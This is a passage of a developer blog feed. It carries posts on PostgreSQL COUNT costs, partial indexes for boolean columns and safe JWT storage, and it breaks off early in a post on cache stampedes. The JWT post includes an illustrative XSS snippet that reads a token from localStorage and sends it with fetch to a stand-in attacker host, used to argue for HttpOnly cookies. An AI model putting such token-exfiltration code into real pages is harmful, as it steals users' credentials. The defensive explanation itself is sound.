&lt;span class="k"&gt;WHERE&lt;/span&gt; &lt;span class="n"&gt;id&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="mi"&gt;1000&lt;/span&gt;
&lt;span class="k"&gt;ORDER&lt;/span&gt; &lt;span class="k"&gt;BY&lt;/span&gt; &lt;span class="n"&gt;id&lt;/span&gt;
&lt;span class="k"&gt;LIMIT&lt;/span&gt; &lt;span class="mi"&gt;21&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This avoids repeatedly counting the entire table and can also avoid the cost of large &lt;code&gt;OFFSET&lt;/code&gt; values.&lt;/p&gt;

&lt;h2&gt;
  
  
  Which Approach Should You Use?
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Requirement&lt;/th&gt;
&lt;th&gt;Best approach&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Exact count, occasionally&lt;/td&gt;
&lt;td&gt;&lt;code&gt;COUNT(*)&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Fast approximate count&lt;/td&gt;
&lt;td&gt;&lt;code&gt;pg_class.reltuples&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Exact count, frequently&lt;/td&gt;
&lt;td&gt;Maintained counter, if write contention is manageable&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Large paginated lists&lt;/td&gt;
&lt;td&gt;Keyset pagination&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Dashboard statistics&lt;/td&gt;
&lt;td&gt;Estimated or cached counts&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h2&gt;
  
  
  One More Thing: &lt;code&gt;COUNT(*)&lt;/code&gt; Isn't Always a Full Table Scan
&lt;/h2&gt;

&lt;p&gt;PostgreSQL can sometimes use an &lt;strong&gt;Index Only Scan&lt;/strong&gt; instead of scanning the table itself.&lt;/p&gt;

&lt;p&gt;But it still needs to examine index entries and may need heap visibility checks.&lt;/p&gt;

&lt;p&gt;An index-only scan doesn't automatically make an exact count constant-time.&lt;/p&gt;

&lt;p&gt;You can inspect what PostgreSQL is doing:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="k"&gt;EXPLAIN&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;ANALYZE&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;BUFFERS&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;SELECT&lt;/span&gt; &lt;span class="k"&gt;COUNT&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;FROM&lt;/span&gt; &lt;span class="n"&gt;users&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This shows the execution plan, actual execution time, and buffer usage.&lt;/p&gt;

&lt;p&gt;It's always better to measure before optimizing.&lt;/p&gt;

&lt;h2&gt;
  
  
  Final Thoughts
&lt;/h2&gt;

&lt;p&gt;&lt;code&gt;COUNT(*)&lt;/code&gt; isn't slow because PostgreSQL is poorly designed.&lt;/p&gt;

&lt;p&gt;It's the cost of providing an accurate result while supporting concurrent transactions.&lt;/p&gt;

&lt;p&gt;The important lesson is simple:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Don't calculate an exact count when an estimate or a simple "has more" check is enough.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Sometimes the fastest database query is the one you don't need to execute.&lt;/p&gt;

</description>
      <category>postgres</category>
      <category>database</category>
      <category>performance</category>
      <category>sql</category>
    </item>
    <item>
      <title>Stop Indexing Boolean Columns in PostgreSQL. Do This Instead.</title>
      <dc:creator>Mohamed Ismail</dc:creator>
      <pubDate>Fri, 30 Oct 2026 13:30:00 +0000</pubDate>
      <link>https://dev.to/ihssmaheel/stop-indexing-boolean-columns-in-postgresql-do-this-instead-1k98</link>
      <guid>https://dev.to/ihssmaheel/stop-indexing-boolean-columns-in-postgresql-do-this-instead-1k98</guid>
      <description>&lt;p&gt;You have a table with millions of records.&lt;/p&gt;

&lt;p&gt;Some are processed. Others are still waiting.&lt;/p&gt;

&lt;p&gt;So you add an index to make your queries faster:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="k"&gt;CREATE&lt;/span&gt; &lt;span class="k"&gt;INDEX&lt;/span&gt; &lt;span class="n"&gt;idx_jobs_processed&lt;/span&gt;
&lt;span class="k"&gt;ON&lt;/span&gt; &lt;span class="n"&gt;jobs&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;is_processed&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Looks reasonable, right?&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;But PostgreSQL might completely ignore your index.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;And there's a good reason for that.&lt;/p&gt;

&lt;h2&gt;
  
  
  Why Your Boolean Index Isn't Helping
&lt;/h2&gt;

&lt;p&gt;Imagine your &lt;code&gt;jobs&lt;/code&gt; table has 1 million rows.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;950,000 jobs are processed (&lt;code&gt;true&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;50,000 jobs are unprocessed (&lt;code&gt;false&lt;/code&gt;).&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Now you run:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="k"&gt;SELECT&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;
&lt;span class="k"&gt;FROM&lt;/span&gt; &lt;span class="n"&gt;jobs&lt;/span&gt;
&lt;span class="k"&gt;WHERE&lt;/span&gt; &lt;span class="n"&gt;is_processed&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;true&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;You might expect PostgreSQL to use your index.&lt;/p&gt;

&lt;p&gt;But think about it.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;You're asking for 95% of the entire table.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Using the index could mean reading the index and then visiting a huge number of table pages to fetch the actual rows.&lt;/p&gt;

&lt;p&gt;PostgreSQL may decide it's cheaper to just scan the table.&lt;/p&gt;

&lt;p&gt;That's called a &lt;strong&gt;Sequential Scan&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;And in this case, it can be the smarter choice.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Real Problem: Low Selectivity
&lt;/h2&gt;

&lt;p&gt;A Boolean column has only two possible values:&lt;/p&gt;

&lt;p&gt;&lt;code&gt;true&lt;/code&gt; or &lt;code&gt;false&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;This is called &lt;strong&gt;low cardinality&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;But cardinality alone isn't the problem. What really matters is &lt;strong&gt;selectivity&lt;/strong&gt;: how many rows match your query.&lt;/p&gt;

&lt;p&gt;If almost every row matches, an index usually provides little benefit.&lt;/p&gt;

&lt;p&gt;But what if you only want the 5% of jobs that haven't been processed?&lt;/p&gt;

&lt;p&gt;That's where things get interesting.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Better Solution: Partial Indexes
&lt;/h2&gt;

&lt;p&gt;Instead of indexing every job, index only the ones you actually need.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="k"&gt;CREATE&lt;/span&gt; &lt;span class="k"&gt;INDEX&lt;/span&gt; &lt;span class="n"&gt;idx_unprocessed_jobs&lt;/span&gt;
&lt;span class="k"&gt;ON&lt;/span&gt; &lt;span class="n"&gt;jobs&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;created_at&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;WHERE&lt;/span&gt; &lt;span class="n"&gt;is_processed&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;false&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;That's a &lt;strong&gt;Partial Index&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;It tells PostgreSQL:&lt;/p&gt;

&lt;p&gt;"Only include rows where &lt;code&gt;is_processed&lt;/code&gt; is false."&lt;/p&gt;

&lt;p&gt;Now your index contains entries for roughly 50,000 rows instead of 1 million.&lt;/p&gt;

&lt;p&gt;That's approximately &lt;strong&gt;95% fewer index entries&lt;/strong&gt; in our example, although the actual storage savings depend on the index structure.&lt;/p&gt;

&lt;p&gt;And here's the useful part.&lt;/p&gt;

&lt;p&gt;When you run:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="k"&gt;SELECT&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;
&lt;span class="k"&gt;FROM&lt;/span&gt; &lt;span class="n"&gt;jobs&lt;/span&gt;
&lt;span class="k"&gt;WHERE&lt;/span&gt; &lt;span class="n"&gt;is_processed&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;false&lt;/span&gt;
&lt;span class="k"&gt;ORDER&lt;/span&gt; &lt;span class="k"&gt;BY&lt;/span&gt; &lt;span class="n"&gt;created_at&lt;/span&gt;
&lt;span class="k"&gt;LIMIT&lt;/span&gt; &lt;span class="mi"&gt;100&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;PostgreSQL can use the smaller index to find the oldest unprocessed jobs without scanning all the processed ones.&lt;/p&gt;

&lt;p&gt;Notice that we indexed &lt;code&gt;created_at&lt;/code&gt;, not &lt;code&gt;is_processed&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;That's intentional.&lt;/p&gt;

&lt;p&gt;The &lt;code&gt;WHERE&lt;/code&gt; condition decides &lt;strong&gt;which rows belong in the index&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;The indexed column helps PostgreSQL &lt;strong&gt;find those rows in the requested order&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;Simple, but powerful.&lt;/p&gt;

&lt;h2&gt;
  
  
  Does This Always Work?
&lt;/h2&gt;

&lt;p&gt;Not necessarily.&lt;/p&gt;

&lt;p&gt;PostgreSQL's query planner chooses an execution plan based on statistics, estimated costs, and the query itself.&lt;/p&gt;

&lt;p&gt;A partial index is especially useful when:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Only a small percentage of rows match the condition.&lt;/li&gt;
&lt;li&gt;Your application frequently queries those rows.&lt;/li&gt;
&lt;li&gt;The indexed columns support filtering or sorting.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;It may help less when the table is small, most rows match, or your query doesn't satisfy the partial index condition.&lt;/p&gt;

&lt;p&gt;Also, indexes aren't free. They consume storage and add work to inserts and updates.&lt;/p&gt;

&lt;p&gt;So don't create one just because a column exists.&lt;/p&gt;

&lt;h2&gt;
  
  
  How to Check Whether PostgreSQL Uses It
&lt;/h2&gt;

&lt;p&gt;Use &lt;code&gt;EXPLAIN ANALYZE&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="k"&gt;EXPLAIN&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;ANALYZE&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;BUFFERS&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;SELECT&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;
&lt;span class="k"&gt;FROM&lt;/span&gt; &lt;span class="n"&gt;jobs&lt;/span&gt;
&lt;span class="k"&gt;WHERE&lt;/span&gt; &lt;span class="n"&gt;is_processed&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;false&lt;/span&gt;
&lt;span class="k"&gt;ORDER&lt;/span&gt; &lt;span class="k"&gt;BY&lt;/span&gt; &lt;span class="n"&gt;created_at&lt;/span&gt;
&lt;span class="k"&gt;LIMIT&lt;/span&gt; &lt;span class="mi"&gt;100&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Look for operations such as:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Index Scan using idx_unprocessed_jobs
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;or:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Seq Scan on jobs
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;An index scan means PostgreSQL used an index. A sequential scan means it scanned the table.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;But remember: a sequential scan isn't automatically bad.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Compare actual execution times and buffer usage before deciding which approach performs better.&lt;/p&gt;

&lt;h2&gt;
  
  
  One More Thing Developers Often Miss
&lt;/h2&gt;

&lt;p&gt;Partial indexes depend on PostgreSQL recognizing that your query satisfies the index condition.&lt;/p&gt;

&lt;p&gt;For example, a prepared query like this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="k"&gt;SELECT&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;
&lt;span class="k"&gt;FROM&lt;/span&gt; &lt;span class="n"&gt;jobs&lt;/span&gt;
&lt;span class="k"&gt;WHERE&lt;/span&gt; &lt;span class="n"&gt;is_processed&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="err"&gt;$&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;may not use the partial index when PostgreSQL chooses a generic plan.&lt;/p&gt;

&lt;p&gt;Why?&lt;/p&gt;

&lt;p&gt;Because &lt;code&gt;$1&lt;/code&gt; could be either &lt;code&gt;true&lt;/code&gt; or &lt;code&gt;false&lt;/code&gt;, and the index only contains &lt;code&gt;false&lt;/code&gt; rows.&lt;/p&gt;

&lt;p&gt;If your query always targets unprocessed jobs, expressing that condition directly can make the partial index easier for the planner to use.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Takeaway
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Don't index a Boolean column just because you frequently filter by it.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Think about how many rows your query actually needs.&lt;/p&gt;

&lt;p&gt;If you're repeatedly querying a small subset of a large table, a partial index can be a much better choice.&lt;/p&gt;

&lt;p&gt;Smaller index. Less unnecessary work. Potentially faster queries.&lt;/p&gt;

&lt;p&gt;And the best part?&lt;/p&gt;

&lt;p&gt;You don't need another database, caching layer, or complicated optimization.&lt;/p&gt;

&lt;p&gt;Just a better index.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Have you ever created an index that PostgreSQL decided not to use?&lt;/strong&gt;&lt;/p&gt;

</description>
      <category>postgres</category>
      <category>database</category>
      <category>sql</category>
      <category>performance</category>
    </item>
    <item>
      <title>Stop Storing JWTs in localStorage. Here's Why.</title>
      <dc:creator>Mohamed Ismail</dc:creator>
      <pubDate>Thu, 29 Oct 2026 13:30:00 +0000</pubDate>
      <link>https://dev.to/ihssmaheel/stop-storing-jwts-in-localstorage-heres-why-3l7e</link>
      <guid>https://dev.to/ihssmaheel/stop-storing-jwts-in-localstorage-heres-why-3l7e</guid>
      <description>&lt;p&gt;You've probably seen this in a React authentication tutorial:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="nx"&gt;localStorage&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;setItem&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;token&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;response&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;token&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;User logs in. Save the JWT. Send it with every API request.&lt;/p&gt;

&lt;p&gt;Simple, right?&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;There's one problem: any JavaScript running on your page can read that token.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;And that includes malicious JavaScript.&lt;/p&gt;

&lt;h2&gt;
  
  
  What's Actually Wrong With localStorage?
&lt;/h2&gt;

&lt;p&gt;Imagine your application has an XSS (Cross-Site Scripting) vulnerability.&lt;/p&gt;

&lt;p&gt;An attacker manages to execute this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;token&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;localStorage&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;getItem&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;token&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="nf"&gt;fetch&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;https://attacker.example/steal&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="na"&gt;method&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;POST&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="na"&gt;body&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;token&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="p"&gt;});&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;That's it.&lt;/p&gt;

&lt;p&gt;Your user's authentication token could now be in someone else's hands.&lt;/p&gt;

&lt;p&gt;The attacker may be able to use it to access the user's account until the token expires or is revoked.&lt;/p&gt;

&lt;p&gt;And XSS isn't the only concern. A compromised npm dependency running in your frontend can potentially access the same storage.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The problem isn't JWT itself. It's where you're storing it.&lt;/strong&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  A Better Approach: HttpOnly Cookies
&lt;/h2&gt;

&lt;p&gt;Instead of saving your JWT in &lt;code&gt;localStorage&lt;/code&gt;, let your backend set a secure cookie.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight http"&gt;&lt;code&gt;&lt;span class="err"&gt;Set-Cookie: session=eyJhbGciOi...;
  HttpOnly;
  Secure;
  SameSite=Strict;
  Path=/
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Three important properties:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;HttpOnly:&lt;/strong&gt; JavaScript cannot read the cookie.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Secure:&lt;/strong&gt; The browser sends it only over HTTPS (with limited localhost exceptions).&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;SameSite=Strict:&lt;/strong&gt; Helps prevent cross-site requests from carrying the cookie.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Now, even if an attacker executes:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;cookie&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;They won't see your HttpOnly authentication cookie.&lt;/p&gt;

&lt;p&gt;And your browser can automatically include that cookie in requests to your backend.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="nf"&gt;fetch&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;/api/profile&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="na"&gt;credentials&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;same-origin&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="p"&gt;});&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;No manually reading or attaching JWTs.&lt;/p&gt;

&lt;p&gt;Much cleaner.&lt;/p&gt;

&lt;h2&gt;
  
  
  But Cookies Aren't Magic
&lt;/h2&gt;

&lt;p&gt;Here's something tutorials often forget.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;HttpOnly protects the token from being read. It doesn't make XSS harmless.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Malicious JavaScript can still send authenticated requests from your application.&lt;/p&gt;

&lt;p&gt;And cookies introduce another concern: &lt;strong&gt;CSRF (Cross-Site Request Forgery).&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;For cookie-based authentication, use appropriate CSRF defenses:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Validate request origins.&lt;/li&gt;
&lt;li&gt;Use SameSite cookies.&lt;/li&gt;
&lt;li&gt;Add CSRF tokens where needed.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;One common approach is the &lt;em&gt;double-submit cookie pattern&lt;/em&gt;, where the server validates a CSRF token sent with the request. In production, prefer a signed token bound to the authenticated session.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;SameSite=Strict&lt;/code&gt; helps, but it shouldn't be your entire CSRF strategy.&lt;/p&gt;

&lt;h2&gt;
  
  
  What About JWT Expiration?
&lt;/h2&gt;

&lt;p&gt;There's another issue worth understanding.&lt;/p&gt;

&lt;p&gt;Imagine you issue a JWT valid for seven days.&lt;/p&gt;

&lt;p&gt;Tomorrow, you discover that your signing key has been compromised.&lt;/p&gt;

&lt;p&gt;What happens to all those tokens?&lt;/p&gt;

&lt;p&gt;You need a way to rotate your signing keys safely.&lt;/p&gt;

&lt;h3&gt;
  
  
  Meet JWT Key Rotation
&lt;/h3&gt;

&lt;p&gt;Instead of using one signing key forever, maintain a &lt;strong&gt;keyring&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;Each JWT contains a key identifier (&lt;code&gt;kid&lt;/code&gt;) in its header.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"alg"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"RS256"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"kid"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"key-2026-02"&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Your backend uses that identifier to find the correct verification key.&lt;/p&gt;

&lt;p&gt;When rotating keys:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Generate a new signing key.&lt;/li&gt;
&lt;li&gt;Start signing new tokens with it.&lt;/li&gt;
&lt;li&gt;Keep the old verification key temporarily.&lt;/li&gt;
&lt;li&gt;Remove it after all old tokens expire.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;This allows normal key rotation without immediately logging everyone out.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Important:&lt;/strong&gt; If a key is actually compromised, keeping it trusted is dangerous. Emergency rotation may require invalidating existing tokens.&lt;/p&gt;

&lt;p&gt;For better session control, use short-lived access tokens, carefully protected refresh sessions, and server-side revocation where needed.&lt;/p&gt;

&lt;h2&gt;
  
  
  So, Should You Never Use localStorage?
&lt;/h2&gt;

&lt;p&gt;Not necessarily.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;localStorage&lt;/code&gt; is perfectly useful for things like themes, language preferences, and non-sensitive settings.&lt;/p&gt;

&lt;p&gt;For authentication tokens, though, storing bearer credentials in JavaScript-accessible storage creates an avoidable token-theft risk.&lt;/p&gt;

&lt;p&gt;HttpOnly cookies are often a better default for traditional browser applications.&lt;/p&gt;

&lt;p&gt;Other architectures, including OAuth-based SPAs and mobile clients, may need different approaches.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Takeaway
&lt;/h2&gt;

&lt;p&gt;JWT is just a token format.&lt;/p&gt;

&lt;p&gt;It doesn't automatically make your authentication secure.&lt;/p&gt;

&lt;p&gt;Where you store tokens, how you protect requests, how you handle expiration, and how you revoke sessions matter just as much.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Authentication isn't finished when login works. It's finished when you've thought about what happens when something goes wrong.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;How are you currently handling authentication in your applications?&lt;/p&gt;

</description>
      <category>webdev</category>
      <category>security</category>
      <category>jwt</category>
      <category>javascript</category>
    </item>
    <item>
      <title>Your Cache Expires. 10,000 Requests Hit Your Database. There's a Smarter Fix.</title>
      <dc:creator>Mohamed Ismail</dc:creator>
      <pubDate>Wed, 28 Oct 2026 13:30:00 +0000</pubDate>
      <link>https://dev.to/ihssmaheel/your-cache-expires-10000-requests-hit-your-database-theres-a-smarter-fix-4ei9</link>
      <guid>https://dev.to/ihssmaheel/your-cache-expires-10000-requests-hit-your-database-theres-a-smarter-fix-4ei9</guid>
      <description>&lt;p&gt;Imagine your application has a popular API endpoint.&lt;/p&gt;

&lt;p&gt;You cache its response in Redis for 5 minutes to avoid hitting the database repeatedly.&lt;/p&gt;

&lt;p&gt;Everything works perfectly.&lt;/p&gt;

&lt;p&gt;Until the cache expires.&lt;/p&gt;

&lt;p&gt;Suddenly, &lt;strong&gt;10,000 requests arrive at the same time.&lt;/strong&gt; They all find an empty cache and start querying your database.&lt;/p&gt;

&lt;p&gt;Congratulations. Your cache just caused a database traffic spike.&lt;/p&gt;

&lt;p&gt;This problem is called a &lt;strong&gt;Cache Stampede&lt;/strong&gt;, also known as the &lt;em&gt;Thundering Herd&lt;/em&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Usual Solution: Distributed Locks
&lt;/h2&gt;

&lt;p&gt;A common solution is to use a distributed lock.&lt;/p&gt;

&lt;p&gt;When the cache expires:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;The first request acquires a lock.&lt;/li&gt;
&lt;li&gt;It fetches fresh data from the database.&lt;/li&gt;
